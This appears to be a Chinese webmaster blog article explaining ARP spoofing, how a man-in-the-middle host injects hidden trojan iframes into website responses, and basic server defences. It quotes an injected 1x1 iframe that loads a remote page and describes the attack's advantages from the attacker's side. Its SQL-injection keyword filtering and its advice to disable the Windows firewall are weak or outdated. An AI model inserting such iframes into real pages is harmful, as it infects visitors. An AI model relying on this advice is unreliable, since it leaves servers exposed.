1. 程式人生 > >網站被掛馬的真正原因及掛馬原理分析

網站被掛馬的真正原因及掛馬原理分析

什麼是ARP

   地址解析協議(Address Resolution Protocol,ARP)是在僅知道主機的IP地址時確定其實體地址的一種協議。因IPv4和乙太網的廣泛應用,其主要用作將IP地址翻譯為乙太網的MAC地址,但其也能在ATM和FDDIIP網路中使用。從IP地址到實體地址的對映有兩種方式:表格方式和非表格方式。ARP具體說來就是將網路層(IP層,也就是相當於OSI的第三層)地址解析為資料連線層(MAC層,也就是相當於OSI的第二層)的MAC地址。

   假設:
   計算機A的IP為192.168.1.1,MAC地址為00-11-22-33-44-01;
   計算機B的IP為192.168.1.2,MAC地址為00-11-22-33-44-02;

   ARP工作原理如下:

   在TCP/IP協議中,A給B傳送IP包,在包頭中需要填寫B的IP為目標地址,但這個IP包在乙太網上傳輸的時候,還需要進行一次以太包的封裝,在這個以太包中,目標地址就是B的MAC地址.

   計算機A是如何得知B的MAC地址的呢?解決問題的關鍵就在於ARP協議。

   在A不知道B的MAC地址的情況下,A就廣播一個ARP請求包,請求包中填有B的IP(192.168.1.2),乙太網中的所有計算機都會接收這個請求,而正常的情況下只有B會給出ARP應答包,包中就填充上了B的MAC地址,並回復給A。

   A得到ARP應答後,將B的MAC地址放入本機快取,便於下次使用。

   本機MAC快取是有生存期的,生存期結束後,將再次重複上面的過程。

   ARP協議並不只在傳送了ARP請求才接收ARP應答。當計算機接收到ARP應答資料包的時候,就會對本地的ARP快取進行更新,將應答中的IP和MAC地址儲存在ARP快取中。因此,當局域網中的某臺機器B向A傳送一個自己偽造的ARP應答,而如果這個應答是B冒充C偽造來的,即IP地址為C的IP,而MAC地址是偽造的,則當A接收到B偽造的ARP應答後,就會更新本地的ARP快取,這樣在A看來C的IP地址沒有變,而它的MAC地址已經不是原來那個了。由於區域網的網路流通不是根據IP地址進行,而是按照MAC地址進行傳輸。所以,那個偽造出來的MAC地址在A上被改變成一個不存在的MAC地址,這樣就會造成網路不通,導致A不能Ping通C!這就是一個簡單的ARP欺騙。

   應用

   在網路執法官中,要想限制某臺機器上網,只要點選"網絡卡"選單中的"許可權",選擇指定的網絡卡號或在使用者列表中點選該網絡卡所在行,從右鍵選單中選擇"許可權",在彈出的對話方塊中即可限制該使用者的許可權。對於未登記網絡卡,可以這樣限定其上線:只要設定好所有已知使用者(登記)後,將網絡卡的預設許可權改為禁止上線即可阻止所有未知的網絡卡上線。使用這兩個功能就可限制使用者上網。其原理是通過ARP欺騙發給被攻擊的電腦一個假的閘道器IP地址對應的MAC,使其找不到閘道器真正的MAC地址,這樣就可以禁止其上網。

   防禦
   ARP欺騙可以導致目標計算機與閘道器通訊失敗

   更可怕的是會導致通訊重定向,所有的資料都會通過攻擊者的機器,因此存在極大的安全隱患。

   基與PC到PC的IP-MAC雙向繫結可以解決ARP欺騙

   但是對於不支援IP-MAC雙向繫結的裝置

   就需要用可以繫結埠-MAC的交換來預防ARP欺騙

   另外,Windows 2KSP4 XPSP1 的Arp-S繫結是無效的

   需要升級到 2KSP5 或 XPSP2


   網頁掛馬原理

   不管是訪問伺服器上的任何網頁,就連404的頁面也會在<html>後加入:

   <IFRAME SRC=http://www.aaaa.com/a.htm width =1 height=1 frameborder=0></IFRAME>;,掛馬的位置在html標記左右,上面這段惡意程式碼,它會每隔幾秒加入程式碼,也就是說在輸出具體的東西之前就被掛了,有時有有時又沒有,不是網頁原始碼問題,也沒有在網頁原始碼中加入惡意程式碼,即使重灌伺服器,格式化重分割槽過第一個硬碟,放上去網站沒多久一樣再會出現這種情況.

   首先就排除了網站被入侵的可能,因為首頁能加在那個位置只能是 title的地方,用js控制也不大可能.然後去看了php.ini的設定也沒有任何的異常,而且這個插入的程式碼有的時候出現有的時候不出現,說明不是網站的問題了.開啟同伺服器的其他網站也有這個情況發生,而且狀況一一樣.檢查並且搜尋掛馬的關鍵字之後確定不是網站程式的問題.

   那麼剩下的要麼是IIS自己出了問題,要麼是網路的問題,因為資料是處理沒有問題(這個由程式輸出,而且即使是html都會出問題),經過一個一個排查,最後基本可以確定就是arp欺騙欺騙資料報走向,然後中間人修改一些定義的關鍵字.因為是網路層次有問題(所以重做系統是沒有用的).

   目的:通過arp欺騙來直接掛馬

   優點:可以直接通過arp欺騙來掛馬.

   通常的arp欺騙的攻擊方式是在同一vlan下,控制一臺主機來監聽密碼,或者結合ssh中間人攻擊來監聽ssh1的密碼
但這樣存在侷限性:1.管理員經常不登陸,那麼要很久才能監聽到密碼
2.目標主機只開放了80埠,和一個管理埠,且80上只有靜態頁面,那麼很難利用.而管理埠,如果是3389終端,或者是ssh2,那麼非常難監聽到密碼.

   優點:1.可以不用獲得目標主機的許可權就可以直接在上面掛馬
2.非常隱蔽,不改動任何目標主機的頁面或者是配置,在網路傳輸的過程中間直接插入掛馬的語句.
3.可以最大化的利用arp欺騙,從而只要獲取一臺同一vlan下主機的控制權,就可以最大化戰果.

   原理:arp中間人攻擊,實際上相當於做了一次代理。

   正常時候: A---->B ,A是訪問的正常客戶,B是要攻擊的伺服器,C是被我們控制的主機
arp中間人攻擊時候: A---->C---->B         B---->C---->A

   實際上,C在這裡做了一次代理的作用

   那麼HTTP請求發過來的時候,C判斷下是哪個客戶端發過來的包,轉發給B,然後B返回HTTP響應的時候,在HTTP響應包中,插入一段掛馬的程式碼,比如 <iframe>...之類,再將修改過的包返回的正常的客戶A,就起到了一個掛馬的作用.在這個過程中,B是沒有任何感覺的,直接攻擊的是正常的客戶A,如果A是管理員或者是目標單位,就直接掛上馬了.

   防禦專題

   最簡單的辦法就一命令OK,實現與閘道器繫結,比如閘道器是 192.168.0.1 比如閘道器MAC 00-00-00-00-00,好了我們直接用記事本儲存程式碼為 arp -s 192.168.0.1 00-00-00-00-00 然後儲存,改拓展名為bat 加入到伺服器啟動項,目前ARP攻擊猖獗,ARP的目前為一的完美解決方案就是實現 本機與閘道器的雙向繫結。所謂ARP防火牆,只是起到暫時保護的作用,以上方法可以有效的防止伺服器被人ARP掛馬

   SQL漏洞專題

   簡單一點:

   對於int型的引數,如文章的id等,可以先判斷是不是整數。

id =trim(request("id"))
if id<>"" then
if Not isNumeric(id) then
response.write"請提供數字型引數"
response.end
end if
id = clng(id)
else
response.write"請輸入引數id"
response.end
end if

   這樣的話,明小子系列就無法注入了。

   也可以控制 "'"號輸入就行了,再控制一些 SQL 關鍵字的這樣更安全

   比如

id=trim(request("id"))

if instr(id,"'")>0 or instr(id,"insert")>0 then
response.write "對不起,請不要注入本站"
response.end
end if

   提醒大家,SQL只要打完必補丁,最重要的是,千萬別設定什麼SA/123456 SA/123 SA/SA之類的弱口令,現在的小黑太多了,動不動就是全網段掃描1433弱口令,在次提醒大家,千萬別設定弱口令。基本伺服器就安全(小黑是進不來的,高手嘛,說不準了,反正高手也不會動你的東西)

   伺服器安全之後門篇

   我們今天主要講解2003伺服器

   最常見的問題,伺服器一般都開3389 4899等,在次提醒大家,弱口令問題,現在什麼小黑都有,千萬別設定什麼123 123456之類,修改3389 4899埠 建議停止微軟的防火牆,直接在網上,開放需要的埠。系統補丁,我想不用說,肯定要打的。也可採用國外的一款軟體 黑冰(號稱世界排第三,本人以前用過,感覺也就那樣,不過確實不錯)

   本地安全策略設定密碼強度,然後刪出系統預設管理員,修改管理組,別留什麼adminisrators 呵呵,不允許建立帳戶,嘿嘿,絕吧。
伺服器防毒軟體必備!推薦使用麥咖啡。上次進了一批伺服器,發現全是用麥咖啡(連聯眾的計費伺服器,baidu的有一個伺服器也是),設定OK基本百毒不侵(伺服器好的建議使用,呵呵就可以防止什麼鴿子啊,黑洞啊,紅娘啊之類的東西裝上了)。
在次說明請大家檢查自己的伺服器登陸3389介面,別輸入密碼,先按5次SHIFT,看看,如果彈出c盤,或cmd 或則一個密碼視窗,呵呵恭喜你,你的伺服器被人玩了,小弟可幫大家解決,這個後門被譽為windows最強悍後門。不需要密碼驗證,直接得到shell。
為了廣大站長朋友,此文章無任何技術難度